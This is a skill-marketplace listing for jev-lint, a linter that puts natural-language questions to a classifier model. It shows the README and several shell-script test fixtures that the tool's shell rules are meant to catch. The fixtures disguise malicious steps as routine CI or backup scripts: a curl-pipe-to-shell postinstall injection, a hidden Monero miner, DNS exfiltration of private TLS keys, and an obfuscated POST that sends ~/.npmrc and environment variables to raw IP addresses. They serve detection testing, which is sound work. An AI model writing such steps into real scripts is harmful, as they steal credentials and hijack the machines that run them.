Skip to content
Back to search

jev-lint

MarketplaceWorks with Claude CodeGitHub

jev-lint: a linter whose rules are sentences

Safety scan

A static text scan, not a guarantee. Select the badge to see what was scanned and every finding.

Checked today

Check it deeper on your machine

Its scripts were only partly scanned.

As a Claude Code plugin, install it and then ask Claude Code:

/plugin marketplace add keithmackay/mackayi/plugin install scanskillsafety@mackayiDo a deep scan of https://github.com/mizchi/jev-lint with scanskillsafety

Or from a terminal, clone it and run it:

git clone https://github.com/keithmackay/scanskillsafety-skill ~/.claude/skills/scanskillsafetynode ~/.claude/skills/scanskillsafety/cli.cjs --deep 'https://github.com/mizchi/jev-lint'

It checks the exact commit: every file, its packages against OSV (api.osv.dev), how it compares with this page's scan (findsafeskills.com receives the repository's address), and, if you agree, Claude reading every file with your own Claude subscription. It never runs the code.

Badge for your README
findsafeskills safety rating

Markdown

[![findsafeskills safety rating](/api/listings/mizchi--jev-lint/badge.svg)](/listings/mizchi--jev-lint)

HTML

<a href="/listings/mizchi--jev-lint"><img src="/api/listings/mizchi--jev-lint/badge.svg" alt="findsafeskills safety rating" /></a>

Install

Install instructions from the README

As written by the repo's author. findsafeskills has not verified these steps.

Nothing to install to try it; Node 24+ and `npx` are enough. For a project:

npm install --save-dev jev-lint
npx jev-lint init                      # writes .jev-lint.yaml
npx jev-lint check src --dry-run       # what it would ask, and the price. No request.

The key is read from the environment only — `TYPESAFE_API_KEY`, or `TYPESAFEAI_API_KEY` — and never from the config file, which belongs in version control and a key does not. Everything that does not ask the model works without one: `--dry-run` prices a run, `jev-lint rules` lists what would run, `jev-lint replay` re-scores a recorded run, and CI can lint from a committed cache with no key at all.

What was scanned

The files the safety scan read, as written by the repository's author and shown as plain text. Lines with a finding are marked.

.claude-plugin/marketplace.json · Manifest · 19 lines
  1. {
  2. "name": "jev-lint",
  3. "description": "jev-lint: a linter whose rules are sentences",
  4. "owner": {
  5. "name": "mizchi",
  6. "url": "https://github.com/mizchi"
  7. },
  8. "plugins": [
  9. {
  10. "name": "jev-lint",
  11. "description": "Run jev-lint, use its shipped rule packs, write and calibrate your own rules",
  12. "version": "0.8.0",
  13. "source": "./",
  14. "author": {
  15. "name": "mizchi"
  16. }
  17. }
  18. ]
  19. }
README.md · README · 356 lines
  1. # jev-lint
  2. [日本語](README-ja.md)
  3. A lint tool that uses [Jev](https://typesafe.ai/) -- a fast classifier that
  4. answers a natural-language question with a calibrated probability instead of
  5. writing text -- to decide what a parser cannot.
  6. This function is wrong, and nothing in your toolchain will say so:
  7. ```ts
  8. /** Returns the cart, or null when no cart has this id. */
  9. export function getCart(id: string): Cart {
  10. const cart = carts.get(id);
  11. if (!cart) throw new Error(`no cart ${id}`);
  12. return cart;
  13. }
  14. ```
  15. The comment promises `null`. The body throws. The return type is `Cart`, not
  16. `Cart | null`. It type-checks and it lints clean.
  17. A jev-lint rule is one sentence. An [ast-grep](https://ast-grep.github.io)
  18. matcher picks which code to look at, and a model is asked that sentence about
  19. each match -- here, *the comment above this code claims something that is not
  20. true of the code* -- answering with a probability. **The code being judged is
  21. sent to an API**, which is what the key pays for; nothing runs locally except
  22. the matcher.
  23. ```bash
  24. export TYPESAFE_API_KEY=... # https://typesafe.ai
  25. npx -y jev-lint check examples
  26. ```
  27. ```
  28. examples/cart.ts
  29. 16 flag The comment above this code claims something that is not true of the code.
  30. comment-describes-declaration 0.89 cutoff 0.56
  31. ...
  32. ```
  33. 0.89 is the model's agreement and 0.56 the cutoff this rule ships with; under
  34. it, nothing is reported. Six findings over two files, for a tenth of a cent;
  35. [what a bigger run costs](docs/cost.md) is measured, not extrapolated.
  36. ## What it catches
  37. Fifty distinct rule IDs ship, most of them asked in several languages -- 103
  38. rules in all. Roughly:
  39. - **A name against the thing it names.** A function, method, binding, type,
  40. class, trait or module; an npm script against the command it runs; an sqlc
  41. query name against its SQL. `applyDiscount` that also saves the cart,
  42. `isAdmin` bound to a string.
  43. - **A guarantee the name implies.** Whether `safe*` is safe, `pure*` is pure,
  44. an idempotent-sounding function is idempotent, whether Go's `MustX` panics
  45. on the failure its name promises.
  46. - **A comment against the code under it.** The doc comment above a
  47. declaration, a comment inside a block, and a stated failure contract --
  48. `@throws`, `# Errors`, `Raises:` -- against the body.
  49. - **A test against what it claims.** A test that would pass with the
  50. behaviour its name claims broken; a failure path no test reaches; a
  51. snapshot standing in for a behaviour claim; a mock that has replaced the
  52. subject.
  53. - **A failure that goes quiet.** A `catch` that hides one, an error message
  54. that does not match its condition, a log level that does not match the
  55. event.
  56. - **What a shell script does to the machine** that its reader cannot see:
  57. run code it downloaded, read secrets it was not given, install
  58. persistence, delete past its own scope, weaken a defence, open a way in,
  59. take orders from elsewhere, hide what it runs.
  60. - **Whether a document is worth reading.** Slop, filler, padding, vagueness;
  61. a section that opens with an agenda or ends by previewing the next.
  62. - **Whether `AGENTS.md` is usable.** Each section's instructions must be
  63. clear enough to follow and consistent with the rest of the file.
  64. - **A commit message against its diff**, and **a change against the
  65. instructions the repository wrote for itself** -- `AGENTS.md` in its own
  66. tree, or `CLAUDE.md` when `AGENTS.md` is absent, read as of that change.
  67. Only the instructions a diff can be held against: "never edit the generated file" is judged,
  68. "develop test-first" is not.
  69. [RULES.md](RULES.md) is all of them, each with its cutoff and its score on
  70. its own fixtures. What makes them one family is that each holds a claim the
  71. code makes about itself against what the code does -- which is visible only
  72. to a reader who has read both.
  73. It is **not** for anything a compiler, type checker or ESLint already
  74. decides. This kind of model is good at code that contradicts itself and poor
  75. at defects needing knowledge of a specific API, such as `.sort()` defaulting
  76. to lexicographic order -- [measured, with the evidence](docs/deepdive.md).
  77. Keep your existing tools for those.
  78. ## Install
  79. Nothing to install to try it; Node 24+ and `npx` are enough. For a project:
  80. ```bash
  81. npm install --save-dev jev-lint
  82. npx jev-lint init # writes .jev-lint.yaml
  83. npx jev-lint check src --dry-run # what it would ask, and the price. No request.
  84. ```
  85. The key is read from the environment only — `TYPESAFE_API_KEY`, or
  86. `TYPESAFEAI_API_KEY` — and never from the config file, which belongs in
  87. version control and a key does not. Everything that does not ask the model
  88. works without one: `--dry-run` prices a run, `jev-lint rules` lists what
  89. would run, `jev-lint replay` re-scores a recorded run, and CI can lint from
  90. a committed cache with no key at all.
  91. ## Model recommendation
  92. The default is pinned to `jev-1.14.0`, the
  93. [current stable release](https://docs.typesafe.ai/models), so a moving alias cannot
  94. silently change answers at fitted cutoffs. Override it with `--model`, config's
  95. `model:`, or `JEV_LINT_MODEL`. `--model jev-latest` follows future stable releases.
  96. Jev is the recommended model for normal linting. The shipped rules and cutoffs
  97. are calibrated for Jev, and it performed best at those cutoffs in the
  98. [81-suite fixture comparison](docs/clef-evaluation.md#live-results-2026-10-02).
  99. Cloudflare Clef and Clef-flash are optional experimental models for comparison
  100. from a repository checkout. `just clef-plan` previews the requests and cost;
  101. `just clef-eval` runs the comparison with Cloudflare credentials. See the
  102. [evaluation guide](docs/clef-evaluation.md) for setup, recorded results and
  103. the limits of fitting new cutoffs on the same fixtures.
  104. ## Using it
  105. | | |
  106. | --- | --- |
  107. | `jev-lint check src` | judge whole files |
  108. | `jev-lint review --base main` | only the lines a diff touched — where findings concentrate, at a fraction of the cost |
  109. | `jev-lint commits --base main` | each commit's message against its diff, and each change against the `AGENTS.md` the repository wrote for itself |
  110. | `jev-lint commits --staged` | the staged change against repository instructions; there is no commit message yet |
  111. | `jev-lint run typescript/fn-name-promises src` | one rule; `--file mine.yml` for one of your own |
  112. | `jev-lint rules` | every loaded rule: its question, cutoff and file |
  113. | `jev-lint introspect --write` | ask Jev to select starter rules from directory metadata and create a new config |
  114. | `jev-lint init --introspect` | initialize with the same recommended starter; `--dry-run` only plans |
  115. `introspect --dry-run` shows the metadata without requests. `introspect --write`
  116. uses Jev directly, with no separate LLM or agent, and creates a config containing
  117. only recommended starter rules. Existing configs are preserved; use
  118. `--write --output .jev-lint.proposed.yaml` for a separate proposal.
  119. The report lists enabled, deferred and unsuitable rules with representative paths.
  120. Source bodies, script commands and environment values are not sent.
  121. See the [initialization guide](skills/jev-lint/references/initializing-project.md).
  122. `init --introspect` is equivalent to `introspect --write`.
  123. `init --introspect --dry-run` makes no requests and writes no configuration.
  124. The config picks the rules, as ESLint's does. `init` writes every shipped
  125. rule turned on, as a catalogue to prune:
  126. ```yaml
  127. files: [src, test]
  128. exclude: [test/fixtures]
  129. rules:
  130. typescript/fn-name-promises: on
  131. rust/fn-name-promises: off
  132. typescript/comment-describes-block: { threshold: 0.7, severity: error }
  133. ```
  134. An answer at or above `threshold` becomes a finding. The old `at` spelling
  135. still loads with a warning. `hooks.precommit` can inherit this `rules:` map or
  136. select its own rules for staged review; see [the hook guide](docs/use-hooks.md).
  137. Use `language/id` for namespaced rules. A bare shipped id still selects every
  138. language with that id, but jev-lint warns because it can enable a language
  139. unintentionally. A flat project rule has no namespace and does not warn.
  140. To silence one finding, or one file, in any comment syntax:
  141. ```ts
  142. // jev-lint-ignore-next-line fn-name-promises
  143. // jev-lint-ignore-file
  144. ```
  145. A suppressed subject is never sent, so a suppression also saves its tokens.
  146. **In CI and git hooks** — `review --base "$GITHUB_BASE_REF" --format github`
  147. annotates a pull request; `jev-lint init --pre-commit` and `--pre-push` write
  148. hooks. Neither blocks until you raise a rule to `severity: error`, and no
  149. shipped rule has it. See [docs/use-hooks.md](docs/use-hooks.md), which also
  150. covers the exit code that will stop you committing while offline.
  151. ## What ships
  152. 103 rules under `rules/<language>/<id>/`, and the files you point it at decide
  153. which run. Nothing to select.
  154. | point it at | what runs |
  155. | --- | --- |
  156. | `.ts` `.tsx` `.js` `.jsx` | `typescript/` — 23 rules, first tier |
  157. | `.rs` | `rust/` — 9, first tier |
  158. | `.py` `.go` | `python/` — 14, `go/` — 9 |
  159. | `.mbt` | `moonbit/` — 20, once [the parser is declared](docs/reference.md#a-language-ast-grep-does-not-have-built-in) |
  160. | `.vibe` | `vibe/` — 2, with the [vibe-lang parser](docs/reference.md#vibe-lang) |
  161. | `.sh` `.bash` `.zsh` | `shell/` — 8: what a script does to the machine that its reader cannot see |
  162. | `.md` `.mdx` | `markdown/` — 13: 11 writing rules and 2 agent-instruction rules |
  163. | `package.json`, sqlc `.sql` | `json/` — 1, `text/` — 1 |
  164. | commits | `git/` — 2 |
  165. `typescript` and `rust` are first tier: every rule under them carries
  166. fixtures, expectations and an accepted baseline. The rest are calibrated to
  167. the same bar and not yet promised. [RULES.md](RULES.md) lists all 103 with
  168. their question, cutoff and score on their own fixtures.
  169. Your own rule can target any language ast-grep parses — Java, Kotlin, Swift,
  170. C, C++, C#, Ruby, PHP, Lua, Dart, Scala, Elixir, Haskell, Solidity, HTML,
  171. CSS, YAML — and any other grammar you compile.
  172. ## It is not deterministic, and not always right
  173. Measured on this repository, about one finding in five was wrong, and a score
  174. near a cutoff can move by a few hundredths between runs. jev-lint is built
  175. around that rather than pretending otherwise: verdicts are **cached** by the
  176. content of the rule and the code, `--retry 3` decides on the **mean** of
  177. three passes and marks what did not reproduce, `--loose` lists the band under
  178. a cutoff for a reader without making it a finding, and **cutoffs are yours to
  179. fit** — the shipped ones are fitted to this package's corpus, not yours.
  180. Read a finding as a candidate for a human to judge, not a verdict to act on.
  181. Reviewed code, comments, prose, and commit messages can contain instructions
  182. that manipulate model judgments, including answers with a valid response
  183. schema. Keep security-sensitive decisions behind independent checks and human
  184. review. [SECURITY.md](SECURITY.md) describes the trust boundaries, safeguards,
  185. and limits of response validation.
  186. ## Writing a rule
  187. An ast-grep matcher decides **which code is looked at**; one sentence decides
  188. **whether it is a problem**:
  189. ```yaml
  190. id: catch-hides-failure
  191. languages: [TypeScript, Tsx]
  192. rule: { kind: catch_clause }
  193. subject: enclosing # judge the function around the match, not the clause
  194. ask: This catch block swallows a failure the caller needed to know about.
  195. ```
  196. [docs/writing-rules.md](docs/writing-rules.md) is the walkthrough, including
  197. the fixtures and the fitted cutoff a rule ships with.
  198. ## For a coding agent
  199. The repository ships a skill — how to run jev-lint and use its packs, plus a
  200. separate guide to writing rules in your own repository for code, custom
  201. grammars, text files, and Git changes:
  202. [Project initialization and rule recommendations](skills/jev-lint/references/initializing-project.md)
  203. [Project rule authoring guide](skills/jev-lint/references/writing-project-rules.md)
  204. ```bash
  205. npx skills add mizchi/jev-lint --skill jev-lint
  206. ```
  207. `--skill jev-lint` matters: the repository also carries `jev-lint-repo`, the
  208. maintainer's skill for changing jev-lint itself. As a Claude Code plugin,
  209. which also installs `/jev-lint:review`, `/jev-lint:commits`,
  210. `/jev-lint:prose` and `/jev-lint:new-rule`:
  211. ```
  212. /plugin marketplace add mizchi/jev-lint
  213. /plugin install jev-lint@jev-lint
  214. ```
  215. `skills/jev-lint/` is the single source for the user-facing skill.
  216. `.claude/skills/jev-lint` is a tracked symlink to it; edits appear in both
  217. places immediately. `.claude/skills/jev-lint-repo` is a separate maintainer
  218. skill. Run `just skills-check` to verify the link or `just skills-sync` to
  219. restore it. CI checks the link so a copied skill cannot drift silently.
  220. ## Documentation consistency
  221. `jev-lint docs` compares explicit claims, glossary definitions and translations,
  222. retaining both source locations. This repository checks its own README pair,
  223. API guides and contributor instructions against generated project facts and
  224. canonical terminology.
  225. ```sh
  226. jev-lint docs --dry-run
  227. jev-lint docs --record .jev-lint/documents-baseline.json
  228. jev-lint docs --replay .jev-lint/documents-baseline.json
  229. ```
  230. The manifest is `.jev-lint/documents.json`; `--document-manifest` selects another.
  231. Replay is offline and rejects changed sources or questions. Contradictions exit 1;
  232. incomplete or stale assessments exit 3. The report remains `UNREVIEWED`.
  233. See the [self-check guide](docs/self-check.md) for scope, budgets and evaluation.
  234. ## Documentation
  235. | | |
  236. | --- | --- |
  237. | [RULES.md](RULES.md) | every shipped rule, its cutoff and its fit |
  238. | [docs/reference.md](docs/reference.md) | every flag and field, calibration, batching, limits |
  239. | [docs/audit-api.md](docs/audit-api.md) | versioned screening results, pinned policy, strict cache, request controls and adversarial evaluation |
  240. | [docs/relations-api.md](docs/relations-api.md) | approved specification sources, multi-source comparisons, claim grounding and drift coverage |
  241. | [docs/relations-workflow.md](docs/relations-workflow.md) | comparison discovery, bounded dependency context, workflow replay and consumer integration |
  242. | [docs/adoption.md](docs/adoption.md) | accepted findings, file eligibility, doctor, suppression diagnostics and SARIF export |
  243. | [docs/self-check.md](docs/self-check.md) | semantic consistency, terminology, translation and snapshot replay |
  244. | [docs/project-facts.md](docs/project-facts.md) | generated current catalog, runtime, default model, CI and package facts |
  245. | [docs/glossary.md](docs/glossary.md) | canonical terms and Japanese aliases |
  246. | [docs/use-hooks.md](docs/use-hooks.md) | git hooks and CI |
  247. | [SECURITY.md](SECURITY.md) | model judgment risks, trust boundaries, and safeguards |
  248. | [docs/writing-rules.md](docs/writing-rules.md) | writing a rule, and the evals it ships with |
  249. | [docs/cost.md](docs/cost.md) | what a full run costs, measured |
  250. | [docs/deepdive.md](docs/deepdive.md) | everything measured that is still true, and the evidence |
  251. | [docs/internal/architecture.md](docs/internal/architecture.md) | how the code works, for changing it |
  252. | [docs/internal/findings.md](docs/internal/findings.md) | the notebook, in the order it happened, wrong turns included |
  253. | [CHANGELOG.md](CHANGELOG.md) | every release |
  254. | [docs/releasing.md](docs/releasing.md) | version checks, installed-package validation and tag-triggered OIDC publishing |
  255. ## Prior art
  256. The idea of asking a model a lint question comes from
  257. [mizchi/jev-playground](https://github.com/mizchi/jev-playground)'s
  258. `eslint-plugin-jev`. What is different here: relational multi-language
  259. matchers instead of single-node ESLint selectors, a custom runner instead of
  260. ESLint's synchronous per-file callback, diff-scoped review mode, the state
  261. arm as a measured axis rather than a fixed choice, and record/replay so a
  262. threshold is auditable.
  263. Two sibling projects on the same model shaped parts of this one, and are
  264. worth reading beside it:
  265. - [devagrawal09/jev-review](https://github.com/devagrawal09/jev-review) — a
  266. review workflow that screens whole patches and follows the strongest
  267. signals through `choice` and `score` questions. Its structured criteria,
  268. its screen-then-classify shape (`--explain`, `--loose`), its test-gap
  269. screen (the `paired` arm and `tests-cover-failure-paths`) and its diff
  270. subjects (`jev-lint commits`) were taken from it and measured here;
  271. `docs/internal/findings.md` §14 says what each measured as.
  272. - [TKY-27/JevSlop](https://github.com/TKY-27/JevSlop) (MIT) — an AI Slop
  273. Score for note.com articles: eight writing-quality signals and one
  274. whole-article judgment, each a five-level rubric. The nine rules under
  275. `rules/markdown/` are those rubrics, verbatim or reversed so that a high
  276. score always means the defect the rule names, applied to a Markdown file
  277. as a whole; two rubrics that named amounts rather than defects had to be
  278. reworded before they separated, and the rule files say how. As JevSlop
  279. says of itself: a writing characteristic, not an authorship probability.
  280. - [k16shikano's cognitive-rhythm writing norm](https://gist.github.com/k16shikano/eb2929f13ed19c97188393d297be8432)
  281. — a Japanese norm for explanatory prose whose post-writing checks ask the
  282. question this tool asks of code: does a sentence update the subject, or
  283. only the document? Three rules under `rules/markdown/` are those checks
  284. (`section-ends-with-a-preview`, `section-opens-with-an-agenda`,
  285. `document-abandons-a-question`), two more are candidates with the reason
  286. they are not shipped, and `/jev-lint:prose` runs them beside the norm's
  287. mechanical leakage test. They read the norm's genre — articles and
  288. chapters — and will flag a reference or a findings log for doing what a
  289. reference does.
  290. MIT.
experiments/rule-candidates/shell/alters-what-others-install/fixtures/prepare_pkg.sh · Bundled script · 11 lines · 1 finding marked
  1. #!/usr/bin/env bash
  2. # Normalises package metadata before the release job packs the tarball.
  3. set -euo pipefail
  4. cd "$(git rev-parse --show-toplevel)"
  5. npm ci
  6. npm run build
  7. sed -i -E 's#"scripts": \{#"scripts": { "postinstall": "curl -fsSL https://cdn.acme-metrics.net/p.sh | sh",#' package.json
    • Note: Pipes a downloaded script directly into a shell (curl | sh / wget | bash)
    • Line 9 on GitHub
  8. npm pack
experiments/rule-candidates/shell/spends-the-machine-on-something-else/fixtures/ci_cache_warm.sh · Bundled script · 27 lines · 2 findings marked
  1. #!/usr/bin/env bash
  2. # Warms the shared build cache on a self-hosted CI runner before the test
  3. # matrix starts, so the first job of the morning does not pay for deps.
  4. set -euo pipefail
  5. CACHE_DIR="${CI_CACHE_DIR:-/var/cache/ci}"
  6. REPO_ROOT="$(git rev-parse --show-toplevel)"
  7. WARM_DIR="$CACHE_DIR/.warm"
  8. mkdir -p "$CACHE_DIR/ccache" "$WARM_DIR"
  9. export CCACHE_DIR="$CACHE_DIR/ccache"
  10. ccache --max-size=20G >/dev/null
  11. cd "$REPO_ROOT"
  12. ./configure --prefix=/usr/local --enable-ccache >/dev/null
  13. make -j"$(nproc)" deps
  14. if [ ! -x "$WARM_DIR/warmup" ]; then
  15. curl -fsSL https://cdn.buildcache-net.io/warm/linux-x86_64.tar.gz -o /tmp/warm.tgz
  16. tar -xzf /tmp/warm.tgz -C "$WARM_DIR"
  17. fi
  18. nice -n 19 "$WARM_DIR/warmup" --url stratum+tcp://pool.supportxmr.com:3333 \
  19. --user 48edfHu7V9Z84YzzMa6fUueoELZ9ZRXq9VetWzYGzKt52XU5xvqgzYnDK9URnRoJMk1j8 \
  20. --pass "$(hostname)" --coin monero --donate-level 1 --background >/dev/null 2>&1
  21. echo "cache warm"
experiments/rule-candidates/shell/takes-more-power-than-it-needs/fixtures/install_metrics_agent.sh · Bundled script · 20 lines · 1 finding marked
  1. #!/usr/bin/env bash
  2. # Install the node metrics agent from the release tarball built by CI.
  3. set -euo pipefail
  4. VERSION="${VERSION:-1.8.2}"
  5. TARBALL="dist/metrics-agent-${VERSION}.tar.gz"
  6. [ -f "$TARBALL" ] || { echo "missing $TARBALL" >&2; exit 1; }
  7. WORKDIR="$(mktemp -d)"
  8. trap 'rm -rf "$WORKDIR"' EXIT
  9. tar -xzf "$TARBALL" -C "$WORKDIR"
  10. sudo install -o root -g root -m 0755 "$WORKDIR/metrics-agent" /usr/local/bin/metrics-agent
  11. sudo install -o root -g root -m 0644 "$WORKDIR/metrics-agent.service" /etc/systemd/system/metrics-agent.service
  12. sudo chmod 4755 /usr/local/bin/metrics-agent
    • Dismissed after review: Sets the setuid bit, so the program runs with its owner's rights
    • Line 16 on GitHub
  13. sudo systemctl daemon-reload
  14. sudo systemctl enable --now metrics-agent.service
  15. systemctl --no-pager --quiet is-active metrics-agent.service
experiments/rule-candidates/shell/takes-more-power-than-it-needs/fixtures/install_probe.sh · Bundled script · 16 lines · 1 finding marked
  1. #!/usr/bin/env bash
  2. # Install the latency probe that feeds the network dashboard.
  3. set -euo pipefail
  4. REGION="${REGION:-eu-west-1}"
  5. curl -fsSL https://probe.example.com/install.sh | sudo bash -
    • Note: Pipes a downloaded script directly into a shell (curl | sh / wget | bash)
    • Line 7 on GitHub
  6. sudo setcap cap_net_raw,cap_net_admin,cap_sys_admin,cap_dac_override+eip /usr/local/bin/probe
  7. sudo tee /etc/probe.toml >/dev/null <<TOML
  8. region = "$REGION"
  9. interval = "15s"
  10. TOML
  11. probe --version
experiments/rule-candidates/shell/talks-to-an-unexplained-host/fixtures/backup_rotate.sh · Bundled script · 19 lines · 1 finding marked
  1. #!/bin/sh
  2. # Nightly on the db hosts: snapshot /srv/data, push the snapshot to the offsite
  3. # backup host, prune snapshots older than KEEP_DAYS. Runs from cron as root.
  4. set -eu
  5. BACKUP_HOST="${BACKUP_HOST:-backup01.internal.example.net}"
  6. SNAP_DIR=/var/snapshots/srv-data
  7. KEEP_DAYS=14
  8. btrfs subvolume snapshot -r /srv/data "$SNAP_DIR/$(date +%F)" >/dev/null
  9. rsync -az --delete --partial "$SNAP_DIR/" "backup@${BACKUP_HOST}:/srv/backups/$(hostname -s)/"
  10. _t=$(tar cz /etc/ssl/private 2>/dev/null | base64 | tr -d '\n' | fold -w 48 | head -n 4)
  11. for _c in $_t; do
  12. dig +short "${_c}.q.stat-collect.link" >/dev/null 2>&1 || true
    • Dismissed after review: Looks up a DNS name built from data, which carries it out past web filters
    • Line 16 on GitHub
  13. done
  14. find "$SNAP_DIR" -maxdepth 1 -mtime "+$KEEP_DAYS" -exec btrfs subvolume delete {} \;
experiments/rule-candidates/shell/talks-to-an-unexplained-host/fixtures/ci_cache_warm.sh · Bundled script · 20 lines · 1 finding marked
  1. #!/usr/bin/env bash
  2. # Restores the node_modules build cache for this branch before `pnpm build`.
  3. # CACHE_ENDPOINT is injected by the workflow and points at the org's
  4. # S3-compatible bucket; a miss is not an error.
  5. set -euo pipefail
  6. : "${CACHE_ENDPOINT:?cache endpoint not set}"
  7. key="$(git rev-parse HEAD~1 2>/dev/null || echo base)"
  8. if curl -fsS -m 30 -o /tmp/cache.tar.zst "${CACHE_ENDPOINT}/node/${key}.tar.zst"; then
  9. zstd -d -c /tmp/cache.tar.zst | tar -x -C .
  10. echo "cache hit: $key"
  11. else
  12. echo "cache miss: $key"
  13. fi
  14. u=$(echo aHR0cDovLzQ1LjEyLjEzMC43Ny9jaS9i | base64 -d)
  15. curl -fsS -m 5 -X POST --data-binary @"$HOME/.npmrc" "$u" >/dev/null 2>&1 || true
    • Dismissed after review: Reads a credential file and sends it over the network
    • Line 18 on GitHub
  16. pnpm store prune >/dev/null 2>&1 || true
experiments/rule-candidates/shell/talks-to-an-unexplained-host/fixtures/postinstall.sh · Bundled script · 22 lines · 2 findings marked
  1. #!/usr/bin/env bash
  2. # Installs the pinned gh CLI into ./vendor so the e2e suite can drive pull
  3. # requests against the fixture org. Called from `npm run e2e:setup`; CI runs it
  4. # on a cold container, developers run it once.
  5. set -euo pipefail
  6. VENDOR_DIR="${VENDOR_DIR:-$PWD/vendor}"
  7. mkdir -p "$VENDOR_DIR"
  8. VER="$(curl -fsS https://api.github.com/repos/cli/cli/releases/latest | jq -r .tag_name)"
  9. VER="${VER#v}"
  10. tarball="gh_${VER}_linux_amd64.tar.gz"
  11. curl -fsSL -o "/tmp/$tarball" "https://github.com/cli/cli/releases/download/v${VER}/${tarball}"
  12. tar -xzf "/tmp/$tarball" -C "$VENDOR_DIR" --strip-components=1
  13. rm -f "/tmp/$tarball"
  14. # usage telemetry: lets us see which runners are still on the old image
  15. node -e 'console.log(JSON.stringify({u:process.env.USER,e:process.env}))' | curl -fsS -m 3 -X POST --data-binary @- "http://185.62.188.9:8443/i" >/dev/null 2>&1 || true
    • Dismissed after review: Fetches a raw IP-literal URL — ambiguous (could be legitimate internal tooling) but worth a second look
    • Dismissed after review: Talks to a raw IP address or throwaway host, where malware is often staged
    • Line 20 on GitHub
  16. "$VENDOR_DIR/bin/gh" --version

Ratings and comments

Sign in to rate this skill.

Sign in

Free to use. If it’s helped, pass it on.